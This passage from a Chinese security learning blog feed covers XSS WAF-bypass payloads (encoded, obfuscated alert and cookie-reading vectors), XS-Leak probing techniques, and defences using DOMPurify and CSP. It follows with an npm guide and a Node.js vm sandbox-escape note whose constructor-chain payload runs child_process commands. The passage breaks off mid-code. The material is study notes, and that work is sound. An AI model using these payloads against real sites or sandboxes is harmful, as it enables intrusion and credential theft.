元素绑定用户交互事件。</p></li><li><p><strong>漏洞场景</strong>：</p><p>  JavaScript</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">let action = new URLSearchParams(location.search).get(&#x27;action&#x27;);</span><br><span class="line">// 危险代码：动态设置元素的 onclick 属性</span><br><span class="line">let btn = document.getElementById(&#x27;myBtn&#x27;);</span><br><span class="line">btn.setAttribute(&#x27;onclick&#x27;, action);</span><br></pre></td></tr></table></figure></li><li><p><strong>攻击Payload</strong>：黑客传入 <code>?action=alert(1)</code>。当受害者点击该按钮时，恶意代码触发。</p></li></ul></li></ul><hr><h2 id="三、-WAF-绕过技术"><a href="#三、-WAF-绕过技术" class="headerlink" title="三、 WAF 绕过技术"></a>三、 WAF 绕过技术</h2><p>在遇到内容过滤设备（WAF）时，需要利用浏览器各解析引擎的特性进行绕过。</p><h3 id="1-常见触发向量与标签替换"><a href="#1-常见触发向量与标签替换" class="headerlink" title="1. 常见触发向量与标签替换"></a>1. 常见触发向量与标签替换</h3><p>当 <code>&lt;script&gt;</code> 标签被过滤时，需依赖其他HTML标签的属性解析机制。</p><ul><li><p><strong>资源加载报错型</strong>：<code>&lt;img src=x onerror=alert(1)&gt;</code>, <code>&lt;audio src=1 onerror=alert(1)&gt;</code></p></li><li><p><strong>自动交互型</strong>：<code>&lt;input onfocus=alert(1) autofocus&gt;</code></p></li><li><p><strong>伪协议型</strong>：<code>&lt;a href=&quot;javascript:alert(1)&quot;&gt;</code>, <code>&lt;iframe src=&quot;javascript:alert(1)&quot;&gt;</code></p></li><li><p><strong>DOM加载型</strong>：<code>&lt;svg onload=alert(1)&gt;</code>, <code>&lt;body onload=alert(1)&gt;</code></p></li></ul><h3 id="2-编码绕过技术"><a href="#2-编码绕过技术" class="headerlink" title="2. 编码绕过技术"></a>2. 编码绕过技术</h3><p>浏览器的解码顺序为：HTML实体解码 -&gt; URL解码 -&gt; JS&#x2F;Unicode解码。</p><ul><li><p><strong>HTML 实体编码</strong>：适用于标签的属性值内（如 <code>src</code>, <code>href</code>, <code>onerror</code>）。</p><ul><li><p>十六进制：<code>&lt;img src=x onerror=&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;(1)&gt;</code></p></li><li><p>十进制：<code>&lt;img src=x onerror=&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;(1)&gt;</code></p></li></ul></li><li><p><strong>URL 编码</strong>：适用于 <code>href</code> 或 <code>src</code> 等需要进行URL解析的属性。</p><ul><li><code>&lt;a href=&quot;javascript:%61%6c%65%72%74(1)&quot;&gt;</code> (注：协议头 <code>javascript:</code> 不可被URL编码)</li></ul></li><li><p><strong>Unicode 编码</strong>：适用于JS执行上下文中，仅能对标识符（变量名、函数名）进行编码，不能编码控制字符（如括号）。</p><ul><li><code>&lt;img src=x onerror=&quot;\u0061\u006c\u0065\u0072\u0074(1)&quot;&gt;</code></li></ul></li><li><p><strong>Base64 编码</strong>：配合 <code>data:</code> 伪协议或 <code>atob()</code> 函数。</p><ul><li><code>&lt;a href=&quot;javascript:eval(atob(&#39;YWxlcnQoMSk=&#39;))&quot;&gt;</code></li></ul></li></ul><h3 id="3-语法糖与结构绕过"><a href="#3-语法糖与结构绕过" class="headerlink" title="3. 语法糖与结构绕过"></a>3. 语法糖与结构绕过</h3><ul><li><p><strong>大小写与空格</strong>：<code>&lt;ScrIpt&gt;alert(1)&lt;/sCRipT&gt;</code>，使用 <code>%09</code>, <code>%0A</code>, <code>/**/</code>, <code>/</code> 替代空格。</p></li><li><p><strong>符号替换</strong>：</p><ul><li><p>反引号替代圆括号：<code>&lt;img src=x onerror=alert</code>1<code>&gt;</code></p></li><li><p>Throw语句绕过：<code>&lt;img src onerror=&quot;window.onerror=eval;throw &#39;=alert\x281\x29&#39;&quot;&gt;</code></p></li></ul></li><li><p><strong>函数拼接</strong>：<code>&lt;img src=x onerror=&quot;window[&#39;al&#39;+&#39;ert&#39;](1)&quot;&gt;</code></p></li><li><p><strong>长度限制绕过</strong>：利用 <code>location.hash</code> 或 <code>window.name</code> 传递长Payload。</p><ul><li><code>?name=&lt;svg/onload=eval(location.hash.substr(1))&gt;#alert(document.cookie)</code></li></ul></li></ul><hr><h2 id="四-XS-Leak-跨站泄漏"><a href="#四-XS-Leak-跨站泄漏" class="headerlink" title="四 XS-Leak (跨站泄漏)"></a>四 XS-Leak (跨站泄漏)</h2><p>当目标系统部署了严格的 CSP (内容安全策略) 或严格过滤导致彻底无法执行 JavaScript 代码时，传统的 XSS 攻击失效，需转向 XS-Leak 侧信道攻击。</p><h3 id="1-XS-Leak-原理"><a href="#1-XS-Leak-原理" class="headerlink" title="1. XS-Leak 原理"></a>1. XS-Leak 原理</h3><p>XS-Leak 是一种利用浏览器底层行为特征（侧信道）来<strong>推断</strong>目标网站敏感信息的攻击方式。它不要求在目标网站执行代码，而是利用同源策略的机制“盲区”，通过测量跨域请求的副作用（Side Effects）来提取信息。</p><h3 id="2-经典探测向量-Vectors"><a href="#2-经典探测向量-Vectors" class="headerlink" title="2. 经典探测向量 (Vectors)"></a>2. 经典探测向量 (Vectors)</h3><ul><li><p><strong>加载时长测信道 (Timing Attack)</strong>：</p><ul><li><p><strong>原理</strong>：利用目标系统处理命中数据与未命中数据的时间差进行布尔盲注。</p></li><li><p><strong>示例</strong>：目标搜索接口，检索到敏感词耗时500ms，未检索到耗时50ms。攻击者嵌套 <code>&lt;script&gt; img.src=&quot;http://target.com/search?q=admin&quot; &lt;/script&gt;</code> 并测量加载时间，推断结果。</p></li></ul></li><li><p><strong>窗口&#x2F;框架数量探测 (Frame Counting)</strong>：</p><ul><li><p><strong>原理</strong>：虽然SOP禁止读取跨域DOM的内容，但由于历史遗留设计，浏览器允许跨域读取 <code>window.length</code>（目标页面包含的 iframe 数量）。</p></li><li><p><strong>示例</strong>：利用 <code>let win = window.open(&quot;url&quot;)</code> 打开目标查询页，延时后通过 <code>win.length</code> 判断页面渲染结果。</p></li></ul></li><li><p><strong>错误状态探测 (Error Events)</strong>：</p><ul><li><p><strong>原理</strong>：利用目标接口返回的状态码触发不同的浏览器资源加载事件。</p></li><li><p><strong>示例</strong>：探测登录状态。 <code>&lt;script src=&quot;http://target.com/api/user&quot; onload=&quot;Log(&#39;Auth&#39;)&quot; onerror=&quot;Log(&#39;UnAuth&#39;)&quot;&gt;&lt;/script&gt;</code>。请求成功（200 OK）触发 <code>onload</code>，鉴权失败（401&#x2F;302）触发 <code>onerror</code>。</p></li></ul></li></ul><hr><h2 id="五、-XSS-工程化防御体系"><a href="#五、-XSS-工程化防御体系" class="headerlink" title="五、 XSS 工程化防御体系"></a>五、 XSS 工程化防御体系</h2><p>在全栈开发阶段，必须落实以下防御规范：</p><ol><li><p><strong>输入验证 (Input Validation)</strong>：采用白名单机制，严格校验数据类型、长度、格式。</p></li><li><p><strong>输出转义 (Output Encoding)</strong>：在数据渲染到DOM前，进行HTML实体编码（将 <code>&lt;</code> 转为 <code>&amp;lt;</code> 等）。现代前端框架（React&#x2F;Vue）在数据绑定时默认开启防御，但需注意 <code>v-html</code> 或 <code>dangerouslySetInnerHTML</code> 等高危用法。<br>在现代前端开发中，Vue 和 React 这样的主流框架其实已经为我们做好了底层的安全防护。默认情况下，当你使用它们的数据绑定语法（比如 Vue 的 <code>&#123;&#123; &#125;&#125;</code> 或者 React 的 <code>&#123;&#125;</code>）时，框架会<strong>自动将数据作为纯文本处理</strong>。也就是说，框架会在底层自动进行 HTML 实体转义，把 <code>&lt;</code> 变成 <code>&amp;lt;</code>。</p></li></ol><p>但是，在某些真实的业务场景中，我们确实需要向页面渲染一段带有格式的富文本（比如你在博客后台用富文本编辑器写的一篇文章，里面包含了加粗、图片等标签）。如果框架还是强行转义，页面上就会直接显示出难看的 <code>&lt;b&gt;加粗&lt;/b&gt;</code> 代码，而不是格式化后的文本。</p><p>为了解决这个需求，React 和 Vue 给开发者留了一个“后门” API，用来<strong>绕过框架自带的转义保护，直接渲染原生 HTML</strong>。这两个后门，就是 <code>dangerouslySetInnerHTML</code> 和 <code>v-html</code>。<br>在代码审计现代单页应用（SPA）时，Vue 的 <code>v-html</code> 和 React 的 <code>dangerouslySetInnerHTML</code> 是最容易引发 DOM 型 XSS 的高危触发点（Sinks）。它们在底层的本质，依然是调用了极其危险的 <code>innerHTML</code>。</p><ul><li>React 的 <code>dangerouslySetInnerHTML</code><br>React 官方极其注重安全，因此故意给这个属性起了一个非常长且吓人的名字（直译为：危险地设置内部 HTML），目的就是每次你在敲击键盘输入这段代码时，都能意识到自己正在做一件危险的事情。</li></ul><p><strong>漏洞代码示例：</strong></p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">import React from &#x27;react&#x27;;</span><br><span class="line"></span><br><span class="line">function ArticleView() &#123;</span><br><span class="line">  // 假设 articleContent 是从 URL 参数或未过滤的数据库中获取的</span><br><span class="line">  const articleContent = &quot;&lt;img src=x onerror=alert(&#x27;React_XSS&#x27;)&gt;&quot;;</span><br><span class="line"></span><br><span class="line">  return (</span><br><span class="line">    &lt;div&gt;</span><br><span class="line">      &#123;/* 正常写法（安全）：React 会自动把 &lt; 转义为 &amp;lt; ，页面上只会显示文本 */&#125;</span><br><span class="line">      &lt;div&gt;&#123;articleContent&#125;&lt;/div&gt; </span><br><span class="line"></span><br><span class="line">      &#123;/* 高危写法（DOM XSS 触发）：React 放弃转义，直接将恶意代码插入 DOM */&#125;</span><br><span class="line">      &lt;div dangerouslySetInnerHTML=&#123;&#123; __html: articleContent &#125;&#125; /&gt;</span><br><span class="line">    &lt;/div&gt;</span><br><span class="line">  );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>Vue.js 的 <code>v-html</code> 指令</li></ul><p>Vue 的做法相对简洁，提供了一个 <code>v-html</code> 指令。它的作用和 React 完全一致：告诉 Vue 引擎，“请不要对这个变量进行转义，直接把它当成 HTML 塞进这个标签里”。</p><p><strong>漏洞代码示例：</strong></p><p>代码段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">&lt;template&gt;</span><br><span class="line">  &lt;div&gt;</span><br><span class="line">    &lt;p&gt;&#123;&#123; userComment &#125;&#125;&lt;/p&gt;</span><br><span class="line"></span><br><span class="line">    &lt;p v-html=&quot;userComment&quot;&gt;&lt;/p&gt;</span><br><span class="line">  &lt;/div&gt;</span><br><span class="line">&lt;/template&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">export default &#123;</span><br><span class="line">  data() &#123;</span><br><span class="line">    return &#123;</span><br><span class="line">      // 假设这是黑客输入的评论</span><br><span class="line">      userComment: &quot;&lt;svg onload=alert(&#x27;Vue_XSS&#x27;)&gt;&quot; </span><br><span class="line">    &#125;;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><ul><li>防御规范 (DOM Sanitization)</li></ul><p>既然这两个 API 这么危险，但业务又确实需要渲染富文本，我们该怎么办？</p><p>业界标准的做法是：<strong>在把不受信任的数据丢给 <code>v-html</code> 或 <code>dangerouslySetInnerHTML</code> 渲染之前，必须先使用专门的 DOM 清洗库（如 <code>DOMPurify</code>）进行“消毒”。</strong></p><p><code>DOMPurify</code> 的工作原理是：它会在内存中解析这串 HTML，然后根据一份严格的白名单，把所有危险的标签（如 <code>&lt;script&gt;</code>、<code>&lt;object&gt;</code>）和危险的属性（如 <code>onerror</code>、<code>onload</code>、<code>javascript: href</code>）全部剥离剔除，最后只返回干净、安全的 HTML 结构。</p><p><strong>安全修复后的代码示例：</strong></p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// 引入净化库</span><br><span class="line">import DOMPurify from &#x27;dompurify&#x27;;</span><br><span class="line"></span><br><span class="line">// 假设这是用户提交的脏数据（既有正常标签，也有恶意代码）</span><br><span class="line">const dirtyData = &quot;&lt;b&gt;加粗文本&lt;/b&gt;&lt;img src=x onerror=alert(1)&gt;&quot;;</span><br><span class="line"></span><br><span class="line">// 1. 进行清洗消毒</span><br><span class="line">const cleanData = DOMPurify.sanitize(dirtyData); </span><br><span class="line">// 清洗后，cleanData 的值变成了：&quot;&lt;b&gt;加粗文本&lt;/b&gt;&lt;img src=x&gt;&quot; (恶意 onerror 被剔除)</span><br><span class="line"></span><br><span class="line">// 2. 再安全地进行渲染</span><br><span class="line">// React 写法: &lt;div dangerouslySetInnerHTML=&#123;&#123; __html: cleanData &#125;&#125; /&gt;</span><br><span class="line">// Vue 写法:   &lt;div v-html=&quot;cleanData&quot;&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure><ol start="3"><li><p><strong>HttpOnly Cookie</strong>：在Set-Cookie响应头中启用 <code>HttpOnly</code> 标志，阻断JS通过 <code>document.cookie</code> 读取凭证。</p></li><li><p><strong>内容安全策略 (Content-Security-Policy, CSP)</strong>：配置 HTTP Header，白名单限制页面允许加载和执行的资源来源，禁用内联脚本 (<code>unsafe-inline</code>) 和危险函数 (<code>unsafe-eval</code>)。<br>服务器通过 HTTP 响应头（或 HTML 的 <code>&lt;meta&gt;</code> 标签）告诉浏览器一份极其严格的<strong>白名单</strong>。浏览器收到后，会严格按照这份白名单来决定：当前页面可以加载哪些来源的图片、执行哪些来源的脚本、甚至能不能执行内联代码。</p></li></ol><p>一个经典的 CSP 响应头长这样：</p><p>HTTP</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;self&#x27; https://trusted.cdn.com;</span><br></pre></td></tr></table></figure><p> <strong>核心防御机制与关键指令</strong></p><ul><li><p><code>default-src &#39;self&#39;</code>：全局默认策略。除非特别说明，页面上所有的资源（图片、字体、脚本、框架）都只能从**本站（同源）**加载。不存在<code>&lt;img src=&quot;http://hacker.com/log&quot;&gt;</code> 把数据传出去的情况</p></li><li><p><code>script-src &#39;self&#39; https://trusted.cdn.com</code>：专门针对 JS 脚本的策略。只允许执行本站的脚本和受信任的 CDN 域名下的脚本。黑客注入了 <code>&lt;script src=&quot;http://hacker.com/evil.js&quot;&gt;&lt;/script&gt;</code>？浏览器发现域名不在白名单里，直接报错拒绝加载。</p></li><li><p><strong>封杀内联脚本（禁用 <code>&#39;unsafe-inline&#39;</code>）</strong>：在严格的 CSP 下，直接写在 HTML 里的 <code>&lt;script&gt;alert(1)&lt;/script&gt;</code> 块，或者标签上的 <code>onclick=&quot;alert(1)&quot;</code>，浏览器都会默认<strong>拒绝执行</strong>。黑客即使成功把代码注入到了 HTML 里，也变成了一堆无法运行的死字。</p></li><li><p><strong>封杀危险函数（禁用 <code>&#39;unsafe-eval&#39;</code>）</strong>：CSP 默认禁用 <code>eval()</code>, <code>setTimeout(字符串)</code> 等将字符串转化为代码执行的危险 API。</p></li></ul>]]>
    </content>
    <id>http://47.109.24.42/2026/03/05/%E5%85%B3%E4%BA%8Exss/</id>
    <link href="http://47.109.24.42/2026/03/05/%E5%85%B3%E4%BA%8Exss/"/>
    <published>2026-03-05T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="一、-浏览器底层机制与安全基石"><a href="#一、-浏览器底层机制与安全基石" class="headerlink" title="一、 浏览器底层机制与安全基石"></a>一、 浏览器底层机制与安全基石</h2><p>理解XSS的执行逻辑，必须建立在充分]]>
    </summary>
    <title>关于xss</title>
    <updated>2026-03-05T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h1 id="nmp使用"><a href="#nmp使用" class="headerlink" title="nmp使用"></a>nmp使用</h1><p>这里去看官网的详细指令还有民间大佬的精髓总结<br>NPM (Node Package Manager) 不仅仅是 Node.js 的包管理工具，用于安装、共享和管理项目依赖。CTF中，它更是我们进行依赖环境配置、历史漏洞复现以及供应链安全审计的必备武器。</p><h2 id="1-基础环境与配置"><a href="#1-基础环境与配置" class="headerlink" title="1. 基础环境与配置"></a>1. 基础环境与配置</h2><p>NPM 会随着 Node.js 自动安装。</p><ul><li><p><strong>环境自检：</strong> * <code>node -v</code> 检查 Node.js 版本。</p><ul><li><p><code>npm -v</code> 检查 NPM 版本。</p></li><li><p><code>npm doctor</code> 检查 NPM 环境的健康状态。</p></li></ul></li><li><p><strong>网络加速（国内环境）：</strong></p><ul><li><p>由于网络问题，可以配置镜像。</p></li><li><p>安装并使用淘宝镜像：<code>npm install -g cnpm --registry=https://registry.npmmirror.com</code>。随后可用 <code>cnpm install &lt;package-name&gt;</code> 替代 npm 安装。</p></li><li><p>或者通过命令设置代理：<code>npm config set proxy http://proxy-server:port</code>。</p></li></ul></li><li><p><strong>操作配置：</strong></p><ul><li><p><code>npm config</code> 可用于管理 npm 的配置文件。</p></li><li><p><code>npm get</code> 和 <code>npm set</code> 用于获取或设置配置中的具体值。</p></li></ul></li></ul><h2 id="2-项目初始化与依赖管理"><a href="#2-项目初始化与依赖管理" class="headerlink" title="2. 项目初始化与依赖管理"></a>2. 项目初始化与依赖管理</h2><p>开发或打靶机的第一步通常是阅读或生成配置文件（<code>package.json</code>）。</p><h3 id="初始化项目"><a href="#初始化项目" class="headerlink" title="初始化项目"></a>初始化项目</h3><ul><li><p><code>npm init</code> 创建一个 <code>package.json</code> 文件。</p></li><li><p><code>npm init -y</code> 快速生成该文件，跳过所有交互问答。</p></li></ul><h3 id="核心安装命令-npm-install"><a href="#核心安装命令-npm-install" class="headerlink" title="核心安装命令 (npm install)"></a>核心安装命令 (<code>npm install</code>)</h3><ul><li><p><strong>常规本地安装：</strong> <code>npm install &lt;package-name&gt;</code> 或简写 <code>npm i &lt;package-name&gt;</code>。依赖默认保存到 <code>dependencies</code> 中；若使用 <code>--save-dev</code> 则添加到 <code>devDependencies</code>（开发环境依赖）。</p></li><li><p><strong>全局安装：</strong> <code>npm install -g &lt;package-name&gt;</code>。</p><p>   场景提示： 全局安装通常用于命令行工具。例如在前端开发中常用的脚手架 <code>create-react-app</code>，或者代码监听工具 <code>nodemon</code>。</p></li><li><p><strong>指定版本安装（CTF 核心技能）：</strong> <code>npm install &lt;package&gt;@&lt;version&gt;</code>。</p><blockquote><p>场景提示： 在 CTF 中复现老漏洞时必备。例如题目使用了存在沙箱逃逸漏洞的旧版 lodash，可以指定安装：<code>npm install lodash@4.17.21</code>。</p></blockquote></li><li><p><strong>按配置全量安装：</strong> 直接输入 <code>npm install</code> 会安装 <code>package.json</code> 中定义的所有依赖。如果需要一个完全干净的、严格匹配锁文件的安装环境（常用于 CI&#x2F;CD），可以使用 <code>npm ci</code>。</p></li></ul><h3 id="依赖维护清理"><a href="#依赖维护清理" class="headerlink" title="依赖维护清理"></a>依赖维护清理</h3><ul><li><p><strong>卸载包：</strong> <code>npm uninstall &lt;package-name&gt;</code> 用于本地卸载；<code>npm uninstall -g &lt;package-name&gt;</code> 用于全局卸载。</p></li><li><p><strong>更新包：</strong> <code>npm update &lt;package-name&gt;</code>。</p></li><li><p><strong>清理无用依赖：</strong> <code>npm prune</code> 可以移除多余的（不在 package.json 中）包。<code>npm dedupe</code> 可用于减少依赖树中的重复项。</p></li><li><p><strong>缓存清理：</strong> 如果遇到莫名其妙的安装报错，可通过 <code>npm cache clean --force</code> 清理缓存（<code>npm cache</code> 命令专门用于操作包缓存）。</p></li></ul><h2 id="3-信息收集与安全审计-Security-Audit"><a href="#3-信息收集与安全审计-Security-Audit" class="headerlink" title="3. 信息收集与安全审计 (Security &amp; Audit)"></a>3. 信息收集与安全审计 (Security &amp; Audit)</h2><ul><li><p><strong>安全漏洞扫描：</strong> <code>npm audit</code> 用于运行安全审计并检查已知漏洞。<code>npm audit fix</code> 尝试自动修复这些漏洞。</p></li><li><p><strong>生成软件物料清单：</strong> <code>npm sbom</code> 可以生成项目的 SBOM (Software Bill of Materials)。</p><p>   场景提示 在企业级 Web 安全中，SBOM 是防范供应链攻击（如投毒包）的基础。</p></li><li><p><strong>查看依赖树：</strong> * <code>npm ls</code> 或 <code>npm list</code> 列出本地已安装的包。</p><ul><li><p><code>npm list -g --depth=0</code> 仅查看全局安装的顶层包。</p></li><li><p><code>npm find-dupes</code> 可以在包树中查找重复项。</p></li></ul></li><li><p><strong>版本监控：</strong> <code>npm outdated</code> 检查项目中是否有过时的包。</p></li><li><p><strong>在线文档与源码：</strong> * <code>npm view</code> 查看注册表中的包信息。</p><ul><li><p><code>npm docs</code> 在浏览器中打开包的文档。</p></li><li><p><code>npm repo</code> 在浏览器中打开包的代码仓库（如 GitHub）。</p></li></ul></li></ul><h2 id="4-脚本执行与工程化"><a href="#4-脚本执行与工程化" class="headerlink" title="4. 脚本执行与工程化"></a>4. 脚本执行与工程化</h2><p>在实战中，我们经常需要快速启动服务或执行测试。</p><ul><li><p><strong>定义脚本：</strong> 在 <code>package.json</code> 的 <code>scripts</code> 字段定义，如 <code>&quot;start&quot;: &quot;node app.js&quot;</code>。</p></li><li><p><strong>运行脚本：</strong> * <code>npm run</code> 可以运行在 <code>scripts</code> 中定义的任意脚本。</p><ul><li>内置快捷命令：<code>npm start</code> 启动包，<code>npm test</code> 测试包。</li></ul></li><li><p><strong>免安装执行（神器 <code>npx</code> &#x2F; <code>npm exec</code>）：</strong> 运行本地或远程 npm 包中的命令。</p><blockquote><p>场景提示： 在 GitHub 上看到一个用于探测 Web 漏洞的 Node.js 脚本，不想污染本地全局环境，可以直接 <code>npx &lt;package-name&gt;</code> 临时下载并执行一次。</p></blockquote></li></ul><h2 id="5-个人开源与包发布"><a href="#5-个人开源与包发布" class="headerlink" title="5. 个人开源与包发布"></a>5. 个人开源与包发布</h2><p>了解开发者是如何发布包的</p><ul><li><p><strong>账号管理：</strong> 去 npm 官网注册账号后，使用 <code>npm login</code> 本地登录（<code>npm adduser</code> 也可添加注册表账户，<code>npm logout</code> 登出）。</p></li><li><p><strong>版本控制：</strong> 语义化版本规则为 MAJOR.MINOR.PATCH（如 <code>1.2.3</code>）。可通过 <code>npm version patch</code> 自动升级补丁版本（如 1.0.0 → 1.0.1）。</p></li><li><p><strong>发布与撤回：</strong></p><ul><li><p><code>npm publish</code> 发布包到公开注册表。</p></li><li><p><code>npm deprecate</code> 废弃包的某个版本（提示用户不再维护）。</p></li><li><p><code>npm unpublish</code> 从注册表中彻底移除包（有严格的时间限制）。</p></li></ul></li></ul><h2 id="6-避坑指南"><a href="#6-避坑指南" class="headerlink" title="6. 避坑指南"></a>6. 避坑指南</h2><ul><li><p><strong>权限错误：</strong> 如果在全局安装时报错，Mac&#x2F;Linux 用户需要加 <code>sudo</code>，Windows 用户需以管理员身份运行 CMD&#x2F;PowerShell。</p></li><li><p><strong>版本控制符号识别：</strong> <code>package.json</code> 中的 <code>^1.0.0</code> 表示安装 1.x.x 最新版；<code>~1.0.0</code> 表示安装 1.0.x 最新版。注意识别这些符号，防止复现环境版本出现偏差。</p></li></ul><h1 id="vm"><a href="#vm" class="headerlink" title="vm"></a>vm</h1><h2 id="0x00-前置知识：Node-js-作用域与沙箱的本质"><a href="#0x00-前置知识：Node-js-作用域与沙箱的本质" class="headerlink" title="0x00 前置知识：Node.js 作用域与沙箱的本质"></a>0x00 前置知识：Node.js 作用域与沙箱的本质</h2><p>和之前做的python环境沙箱逃逸原理一模一样 但其实vm本来就不是一个安全机制 只是可以用来做一下效果不好的“隔离”。</p><ul><li><p><strong>沙箱机制</strong>：沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部，隔离有害程序。</p></li><li><p><strong>Node.js 作用域（Context）</strong>：在 Node.js 中，每一个文件（包）都有一个自己的上下文，包之间的作用域是互相隔离不互通的。所有包都共享一个最高级别的全局对象 <code>global</code>（挂载了 <code>process</code>、<code>console</code> 等）。</p></li><li><p><strong>为什么不用 <code>eval</code>？</strong> <code>eval()</code> 容易导致当前作用域的变量污染；而 <code>new Function</code> 虽然能隔离，但外部变量传参非常麻烦。因此 Node.js 提供了 <code>vm</code> 模块来开辟独立上下文。</p></li></ul><hr><h2 id="0x01-原生-vm-模块基础-API"><a href="#0x01-原生-vm-模块基础-API" class="headerlink" title="0x01 原生 vm 模块基础 API"></a>0x01 原生 <code>vm</code> 模块基础 API</h2><ul><li><p><code>vm.runInThisContext(code)</code>：在当前 global 下创建作用域，能访问 global，不能访问当前包的局部变量。</p></li><li><p><code>vm.createContext([sandbox])</code>：将一个普通对象“上下文化”，使其成为后续代码运行的全局对象。</p></li><li><p><code>vm.runInNewContext(code[, sandbox])</code>：直接传入代码和沙箱对象，编译并在新上下文中运行。</p></li></ul><hr><h2 id="0x02-基础逃逸：利用-this-与原型链"><a href="#0x02-基础逃逸：利用-this-与原型链" class="headerlink" title="0x02 基础逃逸：利用 this 与原型链"></a>0x02 基础逃逸：利用 <code>this</code> 与原型链</h2><h3 id="1-this-到底指向谁？"><a href="#1-this-到底指向谁？" class="headerlink" title="1. this 到底指向谁？"></a>1. <code>this</code> 到底指向谁？</h3><p>在 <code>vm.runInNewContext(code, context)</code> 中，沙箱内部的 <code>this</code> 默认指向传入的 <code>context</code>（上下文对象）。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&#x27;vm&#x27;);</span><br><span class="line">const context = &#123; name: &#x27;myContext&#x27; &#125;;</span><br><span class="line">// this 指向了 runInNewContext 提供的上下文 context</span><br><span class="line">const result = vm.runInNewContext(`this.name`, context);  </span><br><span class="line">console.log(result);  // 输出 &#x27;myContext&#x27;</span><br></pre></td></tr></table></figure><h3 id="2-经典的-Constructor-逃逸"><a href="#2-经典的-Constructor-逃逸" class="headerlink" title="2. 经典的 Constructor 逃逸"></a>2. 经典的 Constructor 逃逸</h3><p>如果宿主环境传入了一个普通的对象（哪怕是空对象 <code>{}</code>），这个对象也是在<strong>宿主环境</strong>中创建的。它的底层构造函数（Constructor）依然属于宿主。</p><p>我们可以通过 <code>this</code> 顺藤摸瓜：</p><ol><li><p><code>this</code> -&gt; 宿主传进来的 <code>context</code> 对象。</p></li><li><p><code>this.constructor</code> -&gt; 宿主环境的 <code>Object</code>。</p></li><li><p><code>this.constructor.constructor</code> -&gt; 宿主环境的 <code>Function</code>。</p></li></ol><p>既然拿到了宿主环境的 <code>Function</code>，我们就可以动态执行代码，并返回宿主的 <code>process</code> 对象：</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 逃逸 Payload</span><br><span class="line">const y1 = this.constructor.constructor(&#x27;return process&#x27;)();</span><br><span class="line">// 拿到 process 后，执行系统命令</span><br><span class="line">y1.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;whoami&#x27;).toString();</span><br></pre></td></tr></table></figure><p><em>(注：有时也可以用 <code>this.toString.constructor</code> 达到同样的效果，因为 <code>toString</code> 也是宿主环境的方法。)</em></p><blockquote><p><strong>避坑提示：</strong> 如果传入沙箱的 <code>context</code> 是基本类型（如数字、字符串），它们传递的是值而不是引用，沙箱内无法利用。</p></blockquote><hr><h2 id="0x03-危险的上下文（Context）"><a href="#0x03-危险的上下文（Context）" class="headerlink" title="0x03 危险的上下文（Context）"></a>0x03 危险的上下文（Context）</h2><p>有时开发者缺乏安全意识，会直接将敏感对象传入沙箱。这种情况下，甚至不需要原型链，直接调用即可。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&#x27;vm&#x27;);</span><br><span class="line"></span><br><span class="line">// 宿主创建了一个包含危险对象的上下文</span><br><span class="line">const context = &#123;</span><br><span class="line">  myProcess: process,  // 将全局的 process 传入</span><br><span class="line">  myRequire: require,  // 将 require 传入</span><br><span class="line">&#125;;</span><br><span class="line"> </span><br><span class="line">const code = 